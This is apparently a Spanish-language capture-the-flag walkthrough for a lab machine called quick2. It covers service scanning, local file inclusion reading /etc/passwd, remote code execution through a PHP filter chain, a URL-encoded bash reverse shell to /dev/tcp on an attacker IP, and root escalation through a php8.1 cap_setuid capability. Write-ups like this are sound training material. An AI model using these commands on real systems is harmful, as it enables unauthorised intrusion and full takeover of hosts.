Enumeración de servicios
El escaneo identifica SSH y una aplicación web sobre Apache. Sin credenciales iniciales para SSH, comenzamos por revisar cómo la aplicación selecciona el contenido mostrado:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.16
❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.16
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-04 18:17 -04
Nmap scan report for 192.168.1.16
Host is up (0.00045s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Quick Automative
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelLFI y análisis del código PHP
El sitio carga las páginas desde el parámetro page de index.php. Al aceptar una ruta absoluta sin restringirla al directorio web, presenta una LFI que permite leer /etc/passwd:
❯ curl 'http://192.168.1.16/index.php?page=/etc/passwd'
...
root:x:0:0:root:/root:/bin/bash
andrew:x:1000:1000:Andrew Speed:/home/andrew:/bin/bash
nick:x:1001:1001:Nick Greenhorn,,,:/home/nick:/bin/bash
.../file.php también incluye archivos; con un PHP filter leemos su propio código y confirmamos que usa include():
❯ curl 'http://192.168.1.16/file.php?file=php://filter/convert.base64-encode/resource=/var/www/html/file.php'
PGh0bWw+...
❯ echo "PGh0bWw+..." | base64 -d
...
<?php
if (isset($_GET['file'])) {
include($_GET['file']);
}
?>
...PHP Filter Chains RCE
El uso de include() es más peligroso que una lectura simple porque PHP interpreta el recurso resultante. Usamos php_filter_chain_generator para construir una cadena de filtros cuyas conversiones generan el payload PHP indicado dentro de php://temp:
❯ python3 php_filter_chain_generator.py --chain '<?=`$_GET[cmd]`?>'Comprobamos el RCE:
http://192.168.1.16/file.php?file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|...|convert.base64-decode/resource=php://temp&cmd=whoami
www-data(la cadena completa de filtros es la generada por la herramienta; se trunca aquí por longitud.)
Tras confirmar ejecución como www-data, sustituimos whoami por una reverse shell codificada para que viaje correctamente dentro de la URL:
...&cmd=bash%20-c%20%22bash%20-i%20%26%3E%20/dev/tcp/192.168.1.2/1234%200%3E%261%22
❯ ncat -nlvp 1234
Ncat: Connection from 192.168.1.16:46408.
bash: cannot set terminal process group (713): Inappropriate ioctl for device
bash: no job control in this shell
www-data@quick2:/var/www/html$Escalada mediante Linux Capabilities
La shell permite recuperar la primera flag en el home de nick. Después enumeramos capabilities, permisos del kernel que pueden conceder operaciones concretas sin entregar todo el conjunto de privilegios de root:
www-data@quick2:/home/nick$ getcap -r / 2>/dev/null
...
/usr/bin/php8.1 cap_setuid=ep
...php8.1 tiene cap_setuid=ep, una configuración de Linux Capabilities Privesc que autoriza al proceso PHP a cambiar su UID. posix_setuid(0) adopta la identidad de root antes de iniciar Bash:
www-data@quick2:/home/nick$ /usr/bin/php8.1 -r "posix_setuid(0); system('/bin/bash');"
root@quick2:/home/nick#El prompt root@quick2 confirma la escalada y permite recuperar la flag final.